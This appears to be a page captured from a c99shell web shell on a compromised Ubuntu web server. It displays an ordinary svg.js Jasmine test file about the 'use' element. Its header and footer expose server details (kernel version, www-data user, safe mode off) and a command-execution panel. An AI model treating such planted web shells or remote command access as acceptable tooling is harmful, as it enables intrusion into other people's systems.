Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 uid=33(www-data) gid=33(www-data) groups=33(www-data) Safe-mode: OFF (not secure) /var/www/html/queuepro/node_modules/svg.js/spec/spec/ drwxrwxr-x | |
| Viewing file: Select action/file-type: describe('Use', function() {
var use
describe('on a container element', function() {
var rect
beforeEach(function() {
rect = draw.rect(100,100)
use = draw.use(rect)
})
it('creates an instance of SVG.Use', function() {
expect(use instanceof SVG.Use).toBe(true)
})
it('sets the target element id to its href attribute', function() {
expect(use.node.getAttributeNS(SVG.xlink, 'href')).toBe('#' + rect)
})
it('adopts the geometry of the target element', function() {
expect(use.bbox()).toEqual(rect.bbox())
})
})
describe('on an external path', function() {
var file = 'http://upload.wikimedia.org/wikipedia/commons/8/84/Example.svg'
, id = 'flowRoot1882'
beforeEach(function() {
use = draw.use(id, file)
})
it('creates an instance of SVG.Use', function() {
expect(use instanceof SVG.Use).toBe(true)
})
it('sets the target element id and file path to its href attribute', function() {
expect(use.node.getAttributeNS(SVG.xlink, 'href')).toBe(file + '#' + id)
})
})
}) |
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]-- |